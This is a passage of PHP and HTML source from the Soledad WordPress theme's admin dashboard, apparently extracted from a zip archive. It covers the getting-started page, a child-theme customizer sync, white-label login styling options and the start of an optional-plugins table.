	if ( wp_verify_nonce( $nonce, 'penci_sync_customizer_data' ) ) {

		// Call the customize_save_before action.
		$charset = get_option( 'blog_charset' );
		$mods    = get_theme_mods();
		$data    = array(
			'mods' => $mods ? $mods : array(),
		);

		if ( function_exists( 'wp_get_custom_css_post' ) ) {
			$data['wp_css'] = wp_get_custom_css( 'soledad' );
		}

		// Move it to the current active stylesheet
		if ( function_exists( 'wp_update_custom_css_post' ) && isset( $data['wp_css'] ) && '' !== $data['wp_css'] ) {
			wp_update_custom_css_post( $data['wp_css'] );
		}

		// Call the customize_save action.
		do_action( 'customize_save', $wp_customize );

		// Loop through the mods.
		foreach ( $data['mods'] as $key => $val ) {

			// Call the customize_save_ dynamic action.
			do_action( 'customize_save_' . $key, $wp_customize );

			// Save the mod.
			set_theme_mod( $key, $val );
		}

		// Call the customize_save_after action.
		do_action( 'customize_save_after', $wp_customize );
		set_theme_mod( 'penci_sync_customizer_data', '1' );
	}
}
?>
<h2 class="nav-tab-wrapper">
    <a href="<?php echo admin_url( 'admin.php?page=soledad_dashboard_welcome' ) ?>"
       class="nav-tab nav-tab-active"><?php esc_html_e( 'Getting started', 'soledad' ); ?></a>
    <a href="<?php echo admin_url( 'customize.php' ) ?>"
       class="nav-tab"><?php esc_html_e( 'Customize Style', 'soledad' ); ?></a>
    <a href="<?php echo admin_url( 'admin.php?page=soledad_custom_fonts' ) ?>"
       class="nav-tab"><?php esc_html_e( 'Custom Fonts', 'soledad' ); ?></a>
	<?php if ( function_exists( 'penci_soledad_is_activated' ) && ! penci_soledad_is_activated() ) { ?>
        <a href="<?php echo admin_url( 'admin.php?page=soledad_active_theme' ) ?>"
           class="nav-tab"><?php esc_html_e( 'Active theme', 'soledad' ); ?></a>
	<?php } else if ( penci_soledad_is_activated() && penci_soledad_is_license() ) { ?>
        <a href="<?php echo admin_url( 'admin.php?page=soledad_theme_license' ) ?>"
           class="nav-tab"><?php esc_html_e( 'Theme License', 'soledad' ); ?></a>
	<?php } ?>
    <a href="https://pencidesign.ticksy.com/" target="_blank"
       class="nav-tab"><?php esc_html_e( 'Support Forum', 'soledad' ); ?></a>
</h2>

<div id="getting-started" class="gt-tab-pane gt-is-active penci-dashboard-wapper">
    <div class="feature-section">
        <div class="soledad-install-steps">
            <div class="col">
                <div class="inner-content">
                    <div class="heading-span">Step <span>1</span></div>
                    <div class="heading-icon">
                        <i class="dashicons-before dashicons-admin-plugins"></i>
                    </div>
                    <h3><?php esc_html_e( 'Install & Activate Plugins', 'soledad' ); ?></h3>
                    <p>
						<?php
						/* translators: theme name. */
						echo penci_get_theme_name( 'Soledad' );
						esc_html_e( ' does not require any plugins. All plugins are additional features that you can choose to install and use. Simply install and activate the plugin of your choice. If you want to import a demo, please install and activate the "Penci Soledad Demo Importer" plugin', 'soledad' );
						echo '<br><br>';
						echo esc_html__( 'We recommend checking the theme\'s documentation first to learn how to configure it.', 'soledad' );
						?>
                    </p>
                    <a class="button button-primary"
                       href="https://soledad.pencidesign.net/soledad-document/"
                       target="_blank"><?php esc_html_e( 'View Documentation', 'soledad' ); ?></a>
                    <a class="button button-primary"
                       href="<?php echo esc_url( admin_url( 'themes.php?page=tgmpa-install-plugins' ) ); ?>"
                       target="_blank"><?php esc_html_e( 'Install Plugins', 'soledad' ); ?></a>
                </div>
            </div>
            <div class="col">
                <div class="inner-content">
                    <div class="heading-span">Step <span>2</span></div>
                    <div class="heading-icon">
                        <i class="dashicons-before dashicons-layout"></i>
                    </div>
                    <h3><?php esc_html_e( 'Import Demo Data (Optional)', 'soledad' ); ?></h3>
                    <p><?php _e( '<strong>Important Note:</strong> If your site is a new site with no old posts/pages, you can perform a full import as normal by using the "Import Demo Style" and "Import Demo Content" options. However, if your site has old data such as posts/pages, please only perform an import using the <strong>"Import Demo Style"</strong> option.<br><br>If you receive the message <strong>"Sorry, you are not allowed to access this page"</strong> when clicking to button "Import Demo Now" below, it means that you have not installed or activated the <strong>"Penci Soledad Demo Importer"</strong> plugin. Please go to ', 'soledad' ); ?>
                        <a href="<?php echo esc_url( admin_url( 'themes.php?page=tgmpa-install-plugins' ) ); ?>"
                           target="_blank"><?php _e( 'this page', 'soledad' ); ?></a> <?php _e( 'and do so.', 'soledad' ); ?>
                    </p>
                    <a class="button button-primary"
                       href="<?php echo esc_url( admin_url( 'themes.php?page=import-demo-content' ) ) ?>"
                       target="_blank"><?php esc_html_e( 'Import Demo Now', 'soledad' ); ?></a>
                </div>
            </div>
            <div class="col">
                <div class="inner-content">
                    <div class="heading-span">Step <span>3</span></div>
                    <div class="heading-icon">
                        <i class="dashicons-before dashicons-admin-customizer"></i>
                    </div>
                    <h3><?php esc_html_e( 'Customize The Theme', 'soledad' ); ?></h3>
                    <p><?php esc_html_e( 'By using the WordPress Customizer, you can easily customize every general aspect of the theme.', 'soledad' );
						echo '<br><br>';
						_e( 'If you wish to configure your homepage using Elementor or WPBakery Page Builder plugin, please refer to the <a target="_blank" href="https://soledad.pencidesign.net/soledad-document/#homepage">documentation guide</a> under the "Homepage" section.', 'soledad' ); ?></p>
                    <p>
                        <a href="<?php echo esc_url( admin_url( 'customize.php' ) ); ?>"
                           class="button button-primary"><?php esc_html_e( 'Start Customize', 'soledad' ); ?></a>
                    </p>
					<?php if ( $is_child && ! get_theme_mod( 'penci_sync_customizer_data' ) ):
						$sync_url = add_query_arg( array(
							'penci_csync'  => 'parent_to_child',
							'nonce' => wp_create_nonce( 'penci_sync_customizer_data' )
						), admin_url( 'admin.php?page=soledad_dashboard_welcome' ) );
						?>
                        <div class="penci-dash-customizer-convert">
                            <p style="font-size: 14px;color: #ae0000;font-weight: bold;"><?php _e( 'If you previously customized the parent theme, click the button below to sync those settings to the active child theme. This will resolve style, logo, menu, and other related issues you may encounter.', 'soledad' ); ?></p>
                            <a class="button button-primary"
                               href="<?php echo esc_url( $sync_url ); ?>"><?php _e( 'Sync Customizer Data', 'soledad' ); ?></a>
                        </div>
					<?php endif; ?>
                </div>
            </div>
        </div>
        <div class="soledad-helper-section soledad-install-steps">
            <div class="col">
                <div class="inner-content document">
                    <div class="heading-icon">
                        <i class="dashicons-before dashicons-media-document"></i>
                    </div>
                    <h3><?php esc_html_e( 'Read Full Documentation', 'soledad' ); ?></h3>
                    <p class="about"><?php esc_html_e( 'Need any help setting up and configuring the theme? Please check our full documentation for detailed information on how to use it first.', 'soledad' ); ?></p>
                    <p>
                        <a rel="nofollow" class="button button-primary"
                           href="<?php echo esc_url( 'https://soledad.pencidesign.net/soledad-document/' ); ?>"
                           target="_blank"
                           class="button button-secondary"><?php esc_html_e( 'Read Documentation', 'soledad' ); ?></a>
                    </p>
                </div>
            </div>
            <div class="col">
                <div class="inner-content video">
                    <div class="heading-icon">
                        <i class="dashicons-before dashicons-youtube"></i>
                    </div>
                    <h3><?php esc_html_e( 'Videos tutorial', 'soledad' ); ?></h3>
                    <p><?php echo wp_kses_post( 'We believe that the easiest way to learn is by watching video tutorials. We have a growing library of narrated video tutorials to help you do just that.' ); ?></p>
                    <a class="button button-primary" rel="nofollow"
                       href="https://www.youtube.com/playlist?list=PL1PBMejQ2VTwp9ppl8lTQ9Tq7I3FJTT04"
                       target="_blank"><?php esc_html_e( 'View videos tutorial', 'soledad' ); ?></a>
                </div>
            </div>
			<?php if ( get_option( 'penci_soledad_is_activated' ) ) { ?>
                <div class="col">
                    <div class="inner-content">
                        <div class="heading-icon">
                            <i class="dashicons-before dashicons-admin-network"></i>
                        </div>
                        <h3><?php esc_html_e( 'Revoke License', 'soledad' ); ?></h3>
                        <p>
                            <span style="color: #ff0000; font-weight: bold; font-size: 17px;"><?php _e( 'Note Important: ', 'soledad' ); ?></span><?php _e( 'If you want to use the license on another domain, please revoke the license for this website on ', 'soledad' ); ?>
                            <a href="<?php echo admin_url( 'admin.php?page=soledad_theme_license' ) ?>"><?php _e( 'this page', 'soledad' ); ?></a>
                        </p>
                        <a class="button button-primary"
                           href="<?php echo admin_url( 'admin.php?page=soledad_theme_license' ) ?>"><?php _e( 'Revoke License', 'soledad' ); ?></a>
                    </div>
                </div>
			<?php } ?>
        </div>
    </div>
	<?php if ( ! get_theme_mod( 'activate_white_label' ) ): ?>
        <hr>
        <h3 class="title-more-items"><?php esc_html_e( 'More items by PenciDesign', 'soledad' ) ?></h3>
        <div class="feature-section products three-col">
            <div class="col product">
                <a target="_blank" rel="nofollow" href="<?php echo esc_url( "https://pencidesign.net/" ) ?>"
                   title="<?php echo esc_attr( 'All Themes from PenciDesign' ) ?>">
                    <img class="product__image"
                         src="<?php echo esc_url( PENCI_SOLEDAD_URL . '/inc/dashboard/images/penci.jpg' ) ?>"
                         alt="" width="300" height="150">
                </a>
                <div class="product__body">
                    <h3 class="product__title">
                        <a target="_blank" rel="nofollow" href="<?php echo esc_url( "https://pencidesign.net/" ) ?>"
                           title="<?php echo esc_attr( 'All WordPress Themes from PenciDesign' ) ?>"><?php esc_html_e( 'All WordPress
                            Themes
                            from PenciDesign', 'soledad' ) ?></a>
                    </h3>
                </div>
            </div>
            <div class="col product">
                <a target="_blank" rel="nofollow"
                   href="<?php echo esc_url( "https://themeforest.net/item/pennew-multiconcept-newsmagazine-amp-wordpress-theme/20822517" ) ?>"
                   title="<?php echo esc_attr( 'PenNews' ) ?>">
                    <img class="product__image"
                         src="<?php echo esc_url( PENCI_SOLEDAD_URL . '/inc/dashboard/images/pennews.jpg' ) ?>"
                         alt="" width="300" height="150">
                </a>
                <div class="product__body">
                    <h3 class="product__title">
                        <a target="_blank" rel="nofollow"
                           href="<?php echo esc_url( "https://themeforest.net/item/pennew-multiconcept-newsmagazine-amp-wordpress-theme/20822517" ) ?>"
                           title="<?php echo esc_attr( 'PenNews' ) ?>">PenNews - News/ Magazine/ Business/ Portfolio/
                            Landing AMP WordPress Theme</a>
                    </h3>
                </div>
            </div>
        </div>
	<?php endif; ?>
</div>
PK     0w\f      dashboard/sections/welcome.phpnu [        <?php
/**
 * Welcome section.
 *
 * @package soledad
 */

$theme_data   = wp_get_theme();
$is_child     = false;
$parent_theme = $theme_data->parent();
if ( ! empty( $parent_theme ) ) {
	$is_child = true;
}

$parent_version = '';
if ( $is_child ) {
	$parent_version = $theme_data->parent()->Version;
}
?>
<h1>
	<?php
	if ( $parent_version ) {
		echo sprintf( __( 'Welcome to %s Child Theme', 'soledad' ), penci_get_theme_name( 'Soledad' ) ) . '<br>';
		echo '<span style="display: block; font-size: 22px; font-weight: 500; margin-top: 10px;">' . esc_html__( sprintf( __( 'Inherit from the %1$s Parent Theme - Version %2$s', 'soledad' ), penci_get_theme_name( 'Soledad' ), $parent_version ) ) . '</span>';
	} else {
		// Translators: %1$s - Theme name, %2$s - Theme version.
		echo esc_html__( sprintf( __( 'Welcome to %1$s - Version %2$s', 'soledad' ), penci_get_theme_name( 'Soledad' ), $theme_data->version ) );
	}
	?>
</h1>
<div class="about-text"><?php echo sprintf( __( "Thank you for purchasing our theme! We're thrilled to have you as a valued customer.<br>You can join other users who love using Soledad to build their websites in <a target='_blank' href='https://www.facebook.com/groups/soledad/'>Soledad Users Group Here</a>. This platform is for sharing, showcasing your work, providing assistance, engaging in discussions, and staying updated.", 'soledad' ), penci_get_theme_author() ); ?>

	<?php
	$admin_wel_page_text = get_theme_mod( 'admin_wel_page_text' );
	if ( $admin_wel_page_text ) {
		echo do_shortcode( wpautop( $admin_wel_page_text ) );
	}
	?>
</div>
<?php if( get_theme_mod('activate_white_label') && ! get_theme_mod('admin_wel_page_author')): ?>
<a rel="nofollow" target="_blank" href="<?php echo esc_url( 'https://pencidesign.net/' ); ?>" class="wp-badge">PenciDesign</a>
<?php endif; ?>
PK     0w\׳y=  y=    dashboard/inc/white-label.phpnu [        <?php
if ( ! class_exists( 'Penci_White_Lable' ) ) {
	class Penci_White_Lable {
		public function __construct() {

			if ( penci_is_show_white_label_panel() ) {
				add_filter( 'mb_settings_pages', array( $this, 'options_page' ), 999 );
				add_filter( 'rwmb_meta_boxes', array( $this, 'options_meta_boxes' ), 999 );
			}

			add_filter( 'admin_body_class', array( $this, 'add_admin_body_class' ) );
			add_action( 'login_enqueue_scripts', array( $this, 'login_scripts' ) );
		}

		public function add_admin_body_class( $class ) {
			$icon = get_theme_mod( 'admin_wel_page_icon' );

			if ( $icon ) {
				$icon  = str_replace( 'fa ', '', $icon );
				$class .= ' ' . $icon;
			}

			return $class;
		}


		public function login_scripts() {

			if ( ! get_theme_mod( 'activate_white_label' ) ) {
				return;
			}

			$custom_css = '';

			$logo = get_theme_mod( 'admin_login_logo' );
			$logo = isset( $logo[0] ) ? $logo[0] : '';

			$bgimage = get_theme_mod( 'admin_login_bgimage' );
			$bgimage = isset( $bgimage[0] ) ? $bgimage[0] : '';

			$bgcolor = get_theme_mod( 'admin_login_bgcolor' );

			if ( $logo ) {
				$logo_img = wp_get_attachment_image_src( $logo, 'full' );

				$logo_img_url = isset( $logo_img[0] ) ? $logo_img[0] : '';
				$logo_img_w   = $logo_img_h = '';

				$login_logow = get_theme_mod( 'admin_login_logow' );
				$login_logoh = get_theme_mod( 'admin_login_logoh' );

				if ( $login_logow ) {
					$logo_img_w = $login_logow;
				} elseif ( isset( $logo_img[1] ) ) {
					$logo_img_w = $logo_img[1];
				}

				if ( $login_logoh ) {
					$logo_img_h = $login_logoh;
				} elseif ( isset( $logo_img[2] ) ) {
					$logo_img_h = $logo_img[2];
				}

				$custom_css .= '#login h1 a, .login h1 a {';
				$custom_css .= 'background-image: url(' . esc_url( $logo_img_url ) . ');';
				$custom_css .= $logo_img_w ? 'width: ' . esc_attr( $logo_img_w ) . 'px;' : '';
				$custom_css .= $logo_img_h ? 'height: ' . esc_attr( $logo_img_h ) . 'px;' : '';
				$custom_css .= 'background-size: ' . esc_attr( $logo_img_w ) . 'px ' . esc_attr( $logo_img_h ) . 'px;';

				if ( $logo_img_w > 320 ) {
					$custom_css .= 'margin-left:-' . intval( ( $logo_img_w - 320 ) / 2 ) . 'px;';
				}

				$custom_css .= '}';
			}

			if ( $bgimage ) {
				$bgimage_img = wp_get_attachment_image_src( $bgimage, 'full' );
				if ( isset( $bgimage_img[0] ) && $bgimage_img[0] ) {
					$custom_css .= 'body{  background-image: url(' . esc_url( $bgimage_img[0] ) . ') !important;
                    background-size: cover !important;background-position: center center !important;background-repeat: no-repeat !important;background-attachment: fixed !important; }';
				}
			}

			if ( $bgcolor ) {
				$custom_css .= 'body{ background-color:' . $bgcolor . ' !important; }';
			}

			// From
			$flogin_bgimage        = get_theme_mod( 'penci_flogin_bgimage' );
			$flogin_bgcolor        = get_theme_mod( 'penci_flogin_bgcolor' );
			$flogin_padding        = get_theme_mod( 'penci_flogin_padding' );
			$flogin_shadow         = get_theme_mod( 'penci_flogin_shadow' );
			$flogin_field_bg       = get_theme_mod( 'penci_flogin_field_bg' );
			$flogin_field_borcolor = get_theme_mod( 'penci_flogin_field_borcolor' );
			$flogin_field_color    = get_theme_mod( 'penci_flogin_field_color' );
			$flogin_label_color    = get_theme_mod( 'penci_flogin_label_color' );

			$flogin_btn_bgcolor  = get_theme_mod( 'penci_flogin_btn_bgcolor' );
			$flogin_btn_color    = get_theme_mod( 'penci_flogin_btn_color' );
			$flogin_btn_bocolor  = get_theme_mod( 'penci_flogin_btn_bocolor' );
			$flogin_btn_hbgcolor = get_theme_mod( 'penci_flogin_btn_hbgcolor' );
			$flogin_btn_hcolor   = get_theme_mod( 'penci_flogin_btn_hcolor' );
			$flogin_btn_hbocolor = get_theme_mod( 'penci_flogin_btn_hbocolor' );

			$flogin_link_color  = get_theme_mod( 'penci_flogin_link_color' );
			$flogin_link_hcolor = get_theme_mod( 'penci_flogin_link_hcolor' );


			if ( $flogin_bgimage ) {

				$flogin_bgimage    = isset( $flogin_bgimage[0] ) ? $flogin_bgimage[0] : '';
				$flogin_bgimageimg = wp_get_attachment_image_src( $flogin_bgimage, 'full' );

				if ( isset( $flogin_bgimageimg[0] ) && $flogin_bgimageimg[0] ) {
					$custom_css .= '#loginform{  background-image: url(' . esc_url( $flogin_bgimageimg[0] ) . ') !important;
                    background-size: cover !important;background-position: center center !important;background-repeat: no-repeat !important;background-attachment: fixed !important; }';
				}
			}
			if ( $flogin_bgcolor ) {
				$custom_css .= '#loginform{ background-color:' . $flogin_bgcolor . '}';
			}
			if ( $flogin_padding ) {
				$custom_css .= '#loginform{ padding:' . $flogin_padding . '}';
			}
			if ( $flogin_shadow ) {
				$custom_css .= '#loginform{ box-shadow:' . $flogin_shadow . '}';
			}

			// Field
			$flogin_field_css = '';
			if ( $flogin_field_bg ) {
				$flogin_field_css .= 'background-color:' . $flogin_field_bg . ' !important;';
			}
			if ( $flogin_field_borcolor ) {
				$flogin_field_css .= 'border-color:' . $flogin_field_borcolor . ' !important;';
			}
			if ( $flogin_field_color ) {
				$flogin_field_css .= 'color:' . $flogin_field_color . ' !important;';
			}
			if ( $flogin_field_css ) {
				$custom_css .= '.login form .input, .login input[type="text"]{ ' . $flogin_field_css . '}';
			}


			if ( $flogin_label_color ) {
				$custom_css .= '.login #loginform label{ color:' . $flogin_label_color . '}';
			}

			// Button
			$flogin_btn_css = '';
			if ( $flogin_btn_bgcolor ) {
				$flogin_btn_css .= 'background-color:' . $flogin_btn_bgcolor . ';';
			}
			if ( $flogin_btn_color ) {
				$flogin_btn_css .= 'color:' . $flogin_btn_color . ';';
			}
			if ( $flogin_btn_bocolor ) {
				$flogin_btn_css .= 'border-color:' . $flogin_btn_bocolor . ';';
			}
			if ( $flogin_btn_css ) {
				$custom_css .= '.wp-core-ui #loginform .button-primary{ ' . $flogin_btn_css . 'text-shadow: none; box-shadow:none; }';
			}

			$flogin_btn_hover_css = '';
			if ( $flogin_btn_hbgcolor ) {
				$flogin_btn_hover_css .= 'background-color:' . $flogin_btn_hbgcolor . ';';
			}
			if ( $flogin_btn_hcolor ) {
				$flogin_btn_hover_css .= 'color:' . $flogin_btn_hcolor . ';';
			}
			if ( $flogin_btn_hbocolor ) {
				$flogin_btn_hover_css .= 'border-color:' . $flogin_btn_hbocolor . ';';
			}
			if ( $flogin_btn_hover_css ) {
				$custom_css .= '.wp-core-ui  #loginform  .button-primary.focus, .wp-core-ui  #loginform  .button-primary.hover, .wp-core-ui  #loginform  .button-primary:focus, .wp-core-ui  #loginform  .button-primary:hover{ ' . $flogin_btn_hover_css . '}';
			}

			if ( $flogin_link_color ) {
				$custom_css .= '.login #backtoblog a, .login #nav a{ color:' . $flogin_link_color . ' !important}';
			}
			if ( $flogin_link_hcolor ) {
				$custom_css .= '.login #backtoblog a:hover, .login #nav a:hover, .login h1 a:hover{ color:' . $flogin_link_hcolor . '  !important}';
			}

			if ( $custom_css ) {
				echo '<style type="text/css">' . $custom_css . '</style>';
			}
		}

		public function options_page( $settings_pages ) {
			$settings_pages[] = array(
				'id'          => 'soledad_white_label',
				'option_name' => 'theme_mods_' . get_stylesheet(),
				'menu_title'  => esc_html__( 'White Label ', 'soledad' ),
				'parent'      => 'soledad_dashboard_welcome',
				'columns'     => 1,
			);

			return $settings_pages;
		}

		public function options_meta_boxes( $meta_boxes ) {

			$white_label_filed = array(
				array(
					'id'   => 'activate_white_label',
					'name' => __( 'Activate White Label?', 'soledad' ),
					'type' => 'checkbox',
				),
				array(
					'name'             => esc_html__( 'WordPress Login Logo', 'soledad' ),
					'id'               => 'admin_login_logo',
					'type'             => 'image_advanced',
					'max_file_uploads' => 1,
					'max_status'       => 'false',
				),
				array(
					'name'   => esc_html__( 'Custom width for WordPress Login Logo', 'soledad' ),
					'desc'   => esc_html__( 'Numeric value only, unit is pixel', 'soledad' ),
					'id'     => 'admin_login_logow',
					'type'   => 'number',
					'std'    => '',
					'hidden' => array( 'button2_type', '=', 'simple' )
				),
				array(
					'name'   => esc_html__( 'Custom height for WordPress Login Logo', 'soledad' ),
					'desc'   => esc_html__( 'Numeric value only, unit is pixel', 'soledad' ),
					'id'     => 'admin_login_logoh',
					'type'   => 'number',
					'std'    => '',
					'hidden' => array( 'button2_type', '=', 'simple' )
				),
				array(
					'type' => 'heading',
					'name' => esc_html__( 'Background Options', 'soledad' ),
				),
				array(
					'name'             => esc_html__( 'Custom background image for page login', 'soledad' ),
					'id'               => 'admin_login_bgimage',
					'type'             => 'image_advanced',
					'max_file_uploads' => 1,
					'max_status'       => 'false',
				),
				array(
					'name' => esc_html__( 'Custom background color for page login', 'soledad' ),
					'id'   => 'admin_login_bgcolor',
					'type' => 'color',
				),

				array(
					'type' => 'heading',
					'name' => esc_html__( 'From options', 'soledad' ),
				),
				array(
					'name'             => esc_html__( 'Form background image', 'soledad' ),
					'id'               => 'penci_flogin_bgimage',
					'type'             => 'image_advanced',
					'max_file_uploads' => 1,
					'max_status'       => 'false',

					'desc' => __( 'This will change the background image property of login form.', 'soledad' ),

				),
				array(
					'name' => esc_html__( 'Form background color', 'soledad' ),
					'id'   => 'penci_flogin_bgcolor',
					'type' => 'color',
					'desc' => __( 'This will change the background color property.', 'soledad' ),
				),
				array(
					'id'   => 'penci_flogin_padding',
					'type' => 'text',
					'std'  => '26px 24px 46px;',
					'name' => esc_html__( 'Form padding', 'soledad' ),
					'desc' => __( 'This will change the padding property. Example: 26px 24px 46px 30px or none', 'soledad' ),
				),
				array(
					'id'   => 'penci_flogin_shadow',
					'type' => 'text',
					'std'  => '0 1px 3px rgba(0,0,0,.13)',
					'name' => esc_html__( 'Form shadow', 'soledad' ),
					'desc' => __( 'This will change the form\'s shadow property. Example: 0 1px 3px rgba(0,0,0,.13). Fill <strong>none</strong> if you want to remove shadow.', 'soledad' ),
				),
				array(
					'name' => esc_html__( 'Form field background', 'soledad' ),
					'id'   => 'penci_flogin_field_bg',
					'type' => 'color',
				),
				array(
					'name' => esc_html__( 'Form field border color', 'soledad' ),
					'id'   => 'penci_flogin_field_borcolor',
					'type' => 'color',
				),
				array(
					'name' => esc_html__( 'Form field color', 'soledad' ),
					'id'   => 'penci_flogin_field_color',
					'type' => 'color',
				),
				array(
					'name' => esc_html__( 'Form label color', 'soledad' ),
					'id'   => 'penci_flogin_label_color',
					'type' => 'color',
				),
				array(
					'name' => esc_html__( 'Submit button background color', 'soledad' ),
					'id'   => 'penci_flogin_btn_bgcolor',
					'type' => 'color',
				),
				array(
					'name' => esc_html__( 'Submit button text color', 'soledad' ),
					'id'   => 'penci_flogin_btn_color',
					'type' => 'color',
				),
				array(
					'name' => esc_html__( 'Submit button border color', 'soledad' ),
					'id'   => 'penci_flogin_btn_bocolor',
					'type' => 'color',
				),
				array(
					'name' => esc_html__( 'Submit button background  hover color', 'soledad' ),
					'id'   => 'penci_flogin_btn_hbgcolor',
					'type' => 'color',
				),
				array(
					'name' => esc_html__( 'Submit button text hover color', 'soledad' ),
					'id'   => 'penci_flogin_btn_hcolor',
					'type' => 'color',
				),
				array(
					'name' => esc_html__( 'Submit button border hover color', 'soledad' ),
					'id'   => 'penci_flogin_btn_hbocolor',
					'type' => 'color',
				),
				array(
					'name' => esc_html__( 'Link color ', 'soledad' ),
					'id'   => 'penci_flogin_link_color',
					'type' => 'color',
					'desc' => __( 'This will change the text color of links that are underneath the login form', 'soledad' ),
				),
				array(
					'name' => esc_html__( 'Link color hover', 'soledad' ),
					'id'   => 'penci_flogin_link_hcolor',
					'type' => 'color',
					'desc' => __( 'This will change the text color of links, that are underneath the login form, on hover', 'soledad' ),
				),
				array( 'type' => 'divider' ),
				array(
					'id'   => 'admin_wel_page_icon',
					'type' => 'text',
					'name' => esc_html__( 'Theme Icon', 'soledad' ),
					'desc' => __( 'Fill the icon class you want to display here. Check list icons <a rel="nofollow" href="https://fontawesome.com/v4.7.0/icons/" target="_blank">here</a>. Example fill: <strong>fa-book</strong>', 'soledad' ),
				),
				array(
					'id'   => 'admin_wel_page_title',
					'type' => 'text',
					'name' => esc_html__( 'Theme Name', 'soledad' ),
					'desc' => __( 'The theme name will display <a rel="nofollow" href="https://soledad.pencidesign.net/soledad-document/images/white-lable.png" target="_blank">here</a> - So, please do not fill it too long.', 'soledad' ),
				),
				array(
					'id'   => 'admin_wel_page_sname',
					'type' => 'text',
					'name' => esc_html__( 'Theme Short Name', 'soledad' ),
				),
				array(
					'id'   => 'admin_wel_page_author',
					'type' => 'text',
					'name' => esc_html__( 'Theme Author', 'soledad' ),
				),
				array(
					'name'    => esc_html__( 'Welcome Page Text', 'soledad' ),
					'id'      => 'admin_wel_page_text',
					'type'    => 'wysiwyg',
					'raw'     => false,
					'options' => array(
						'textarea_rows' => 4,
						'teeny'         => true,
					),
				)
			);

			$list_administrator = $this->get_list_users();

			if ( $list_administrator ) {
				$white_label_filed[] = array( 'type' => 'divider' );
				$white_label_filed[] = array(
					'name'    => esc_html__( 'Show this screen settings panel only to this user', 'soledad' ),
					'id'      => 'show_white_lable_user',
					'type'    => 'select',
					'options' => $list_administrator,
				);
			}

			$meta_boxes[] = array(
				'id'             => 'soledad_wp_banding',
				'title'          => esc_html__( 'WordPress Branding', 'soledad' ),
				'settings_pages' => 'soledad_white_label',
				'fields'         => $white_label_filed
			);

			return $meta_boxes;
		}

		public function get_list_users() {
			$current_user = wp_get_current_user();

			$user_query = new WP_User_Query( array(
				'number'  => 100,
				'orderby' => 'registered',
				'order'   => 'ASC',
				'role'    => 'Administrator',
			) );

			$output = array( '' => esc_html__( 'Administrator Users', 'soledad' ) );

			$get_results = $user_query->get_results();

			if ( ! empty( $get_results ) ) {
				foreach ( $get_results as $user ) {

					$display_name = isset( $user->data->display_name ) ? $user->data->display_name : '';
					$user_login   = isset( $user->data->user_login ) ? $user->data->user_login : '';

					if ( ! $display_name ) {
						continue;
					}

					$label = '';

					if ( $user->data->ID === $current_user->get( 'ID' ) ) {
						$label = esc_html__( 'Me: ', 'soledad' );
					}

					$label .= $display_name . '( ' . $user_login . ' )';


					$output[ $user->data->ID ] = $label;
				}
			}

			return $output;
		}
	}
}

if ( ! function_exists( 'penci_is_show_white_label_panel' ) ) {
	function penci_is_show_white_label_panel() {
		$output = true;

		$id_show = get_theme_mod( 'show_white_lable_user' );
		$user_id = get_current_user_id();

		if ( ! $id_show || ( $user_id == $id_show ) ) {
			$output = true;
		} elseif ( $id_show && ( $user_id != $id_show ) ) {
			$output = false;
		}

		return $output;
	}
}

new Penci_White_Lable();
PK     0w\MhA4  A4  "  dashboard/inc/optional_plugins.phpnu [        <?php
if ( class_exists( 'TGMPA_List_Table' ) ) {
	class Soledad_DashPluginsTable extends TGMPA_List_Table {

		public $optional_plugins = [];

		/**
		 * Unlisted plugins only added for installation helper of demo importer.
		 *
		 * @var array
		 */
		public $hidden_plugins = [];

		public function __construct() {
			parent::__construct();

			// Collect optional and hidden plugin ids.
			foreach ( $this->tgmpa->plugins as $plugin ) {
				if ( ! empty( $plugin['optional'] ) ) {
					$this->optional_plugins[] = $plugin['slug'];
				}

				if ( ! empty( $plugin['hidden'] ) ) {
					$this->hidden_plugins[] = $plugin['slug'];
				}
			}
		}

		/**
		 * Extend bulk actions process to account for activations.
		 */
		public function process_bulk_actions() {

			$installed   = false;
			$to_activate = false;

			if ( 'tgmpa-bulk-install' === $this->current_action() && ! empty( $_POST['plugin'] ) ) {

				$plugins = (array) $_POST['plugin'];

				foreach ( $plugins as $plugin ) {
					if ( ! $this->tgmpa->is_plugin_active( $plugin ) ) {
						$to_activate = true;
						break;
					}
				}

				// Install the plugins normally. $_POST will be mutated, so store original.
				$orig_post = $_POST;
				$installed = parent::process_bulk_actions();

				// If the intention is to install for inactive plugins, assume they should be activated.
				if ( $to_activate ) {
					$_REQUEST['action'] = 'tgmpa-bulk-activate';
					$_POST              = $orig_post;
				}
			}

			parent::process_bulk_actions();

			// Plugins had to be activated but nothing was installed.
			if ( ! $installed && $to_activate ) {
				echo '<p><a href="' . esc_url( $this->tgmpa->get_tgmpa_url() ) . '" target="_parent">' . esc_html( $this->tgmpa->strings['return'] ) . '</a></p>';

				return true;
			}
		}

		/**
		 * Add additional categories compared to default and add optional plugins to
		 * 'update' and 'all-registered' context only. Add to 'all' only if there's a
		 * an update and the plugin is already installed.
		 */
		protected function categorize_plugins_to_views() {

			$plugins = array(
				'all-registered' => array(),
				'all'            => array(),
				'install'        => array(),
				'update'         => array(),
				'activate'       => array(),
			);

			foreach ( $this->tgmpa->plugins as $slug => $plugin ) {

				$is_installed = $this->tgmpa->is_plugin_installed( $slug );
				$is_active    = $this->tgmpa->is_plugin_active( $slug );
				$has_update   = $this->tgmpa->does_plugin_have_update( $slug );

				if ( $is_active && false === $has_update ) {
					// No need to display plugins if they are installed, up-to-date and active.
					continue;
				}

				$plugins['all-registered'][ $slug ] = $plugin;

				// Add to all if it's not an optional plugin, or if an optional active plugin has an update.
				if ( empty( $plugin['optional'] ) || ( $is_active && $has_update ) ) {
					$plugins['all'][ $slug ] = $plugin;
				}

				if ( ! $is_installed ) {
					if ( empty( $plugin['optional'] ) ) {
						$plugins['install'][ $slug ] = $plugin;
					}
				} else {
					if ( $is_active && $has_update ) {
						$plugins['update'][ $slug ] = $plugin;
					}

					if ( empty( $plugin['optional'] ) && $this->tgmpa->can_plugin_activate( $slug ) ) {
						$plugins['activate'][ $slug ] = $plugin;
					}
				}
			}

			return $plugins;
		}

		/**
		 * Gather data; public.
		 */
		public function gather_plugin_data() {
			return $this->_gather_plugin_data();
		}
	}
}

class Soledad_Theme_Admin_DashPlugins {
	public function __construct() {
		add_action( 'tgmpa_after_install_plugins_page', array( $this, 'display' ) );
	}

	public function display( $tgmpa ) {
		$table               = new Soledad_DashPluginsTable;
		$table->view_context = 'all-registered';

		$plugins   = $table->gather_plugin_data();
		$optionals = $table->optional_plugins;
		$hidden    = $table->hidden_plugins;

		// Only optional and non-hidden plugins here.
		$plugins = array_filter( $plugins, function ( $plugin ) use ( $optionals, $hidden ) {
